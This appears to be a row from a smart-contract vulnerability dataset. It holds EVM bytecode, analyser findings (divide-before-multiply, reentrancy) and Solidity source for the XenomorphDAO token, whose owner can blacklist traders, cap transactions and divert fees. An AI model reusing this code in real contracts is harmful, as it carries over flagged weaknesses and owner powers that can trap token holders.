99e1b3d9fa2336106d2848463ffffffff6113b816565b604080516001600160a01b0390931683526020830191909152818101849052519081900360600190a15050565b6000546001600160a01b0316331461071657600080fd5b600080546006546040516001600160a01b0390921692839282156108fc029291818181858888f19350505050158015610753573d6000803e3d6000fd5b506000600681905560408051918252517f8d56a030ef99bab9accfee6c825c1111d605f719b138f3ef27ae6b18b64d6f289181900360200190a150565b336000908152600a60205260408120600201544203906107b9826201518063ffffffff61131c16565b90508015610a2257336000908152600b602052604081205415610876576201518082026107ec848263ffffffff6113b816565b336000908152600b602052604090205490915061080f908463ffffffff6112ba16565b915080156108315761082e62015180610449848463ffffffff6112ba16565b91505b336000908152600a60205260409020600101541561087057336000908152600a602052604090206001015461086d90839063ffffffff61135e16565b91505b506108e0565b336000908152600a6020526040902060010154156108a75750336000908152600a60205260409020600101546108e0565b6040805162461bcd60e51b8152602060048201526009602482015268139bc81c995dd85c9960ba1b604482015290519081900360640190fd5b6009546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561093457600080fd5b505af1158015610948573d6000803e3d6000fd5b505050506040513d602081101561095e57600080fd5b505161099b5760405162461bcd60e51b815260040180806020018281038252602c815260200180611548602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a60205260409020600301546109f9908263ffffffff61135e16565b336000908152600a60205260408120600381019290925542600283015560019091015550610c0f565b336000908152600b602052604081205415610aa457336000908152600b6020526040902054610a5d908490610449908263ffffffff6112ba16565b336000908152600a602052604090206001015490915015610a9f57336000908152600a6020526040902060010154610a9c90829063ffffffff61135e16565b90505b610ad1565b336000908152600a6020526040902060010154156108a75750336000908152600a60205260409020600101545b6009546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d6020811015610b4f57600080fd5b5051610b8c5760405162461bcd60e51b815260040180806020018281038252602c815260200180611548602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a6020526040902060030154610bea908263ffffffff61135e16565b336000908152600a602052604081206003810192909255426002830155600190910155505b5050565b600b6020526000908152604090205481565b6008546001600160a01b031681565b60035481565b6000546001600160a01b03163314610c5157600080fd5b60018110610c9a576002819055604080513381526020810183905281517f3bc0a290dd50b0e5aa5165e0f5861e62db7ba24f8383e760f70170f338e283d4929181900390910190a15b50565b60065490565b6000546001600160a01b031681565b6009546001600160a01b031681565b600a6020526000908152604090208054600182015460028301546003909301549192909184565b600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610d3957600080fd5b505afa158015610d4d573d6000803e3d6000fd5b505050506040513d6020811015610d6357600080fd5b505192915050565b60025481565b60075490565b600854604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610dd157600080fd5b505af1158015610de5573d6000803e3d6000fd5b505050506040513d6020811015610dfb57600080fd5b5051610e385760405162461bcd60e51b815260040180806020018281038252602e815260200180611595602e913960400191505060405180910390fd5b60035460009015610e5a57610e57600a61044960045461043d86611283565b90505b336000908152600b602052604090205415610efe57336000908152600a6020526040812060020154420390610e98826201518063ffffffff61131c16565b90508015610efb57336000908152600b6020526040812054610ec0908363ffffffff6112ba16565b336000908152600a6020526040902060010154909150610ee6908263ffffffff61135e16565b336000908152600a6020526040902060010155505b50505b336000908152600a6020526040902054610f2e90610f22848463ffffffff6113b816565b9063ffffffff61135e16565b336000908152600a6020526040902090815542600290910155610f69610f5a838363ffffffff6113b816565b6003549063ffffffff61135e16565b600355336000908152600a6020526040812054600254610f8991906113fa565b336000908152600b60205260409020819055600654909150610fb1908363ffffffff61135e16565b6006557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c33610fe6858563ffffffff6113b816565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b6001600160a01b0381166000908152600a6020526040812060020154420381611046826201518063ffffffff61131c16565b90508015611178576001600160a01b0384166000908152600b60205260408120541561112757620151808202611082848263ffffffff6113b816565b6001600160a01b0387166000908152600b60205260409020549091506110ae908463ffffffff6112ba16565b915080156110d0576110cd62015180610449848463ffffffff6112ba16565b91505b6001600160a01b0386166000908152600a602052604090206001015415611121576001600160a01b0386166000908152600a602052604090206001015461111e90839063ffffffff61135e16565b91505b5061116e565b6001600160a01b0385166000908152600a60205260409020600101541561116a57506001600160a01b0384166000908152600a602052604090206001015461116e565b5060005b9250610321915050565b6001600160a01b0384166000908152600b602052604081205415611127576001600160a01b0385166000908152600b60205260409020546111c8906201518090610449908663ffffffff6112ba16565b6001600160a01b0386166000908152600a60205260409020600101549091501561121c576001600160a01b0385166000908152600a602052604090206001015461121990829063ffffffff61135e16565b90505b61116e565b6000546001600160a01b0316331461123857600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061129783606463ffffffff61143116565b905060006112b261271061044984606463ffffffff6112ba16565b949350505050565b6000826112c957506000611316565b828202828482816112d657fe5b04146113135760405162461bcd60e51b81526004018080602001828103825260218152602001806115746021913960400191505060405180910390fd5b90505b92915050565b600061131383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144b565b600082820183811015611313576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061131383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ed565b60008061140e84606463ffffffff61143116565b90506000611428612710610449848763ffffffff6112ba16565b95945050505050565b600081826001848601038161144257fe5b04029392505050565b600081836114d75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561149c578181015183820152602001611484565b50505050905090810190601f1680156114c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816114e357fe5b0495945050505050565b6000818484111561153f5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561149c578181015183820152602001611484565b50505090039056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74a265627a7a7231582007cd01e38173a795dcb257824b9268d8fd562259bfb50a2df2424d54b26419cf64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 912 |
0xf0452a8ee866f9b914a5bb109cbf05eaca4821e7 | // SPDX-License-Identifier: Unlicensed
//https://xenomorphdao.com/
//Telegram: https://t.me/XenomorphDao
//Twitter:https://twitter.com/xeno26712098
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract XenomorphDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "XenomorphDAO";
string private constant _symbol = "XENODAO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600c81526020017f58656e6f6d6f72706844414f0000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f58454e4f44414f00000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f6000905490610100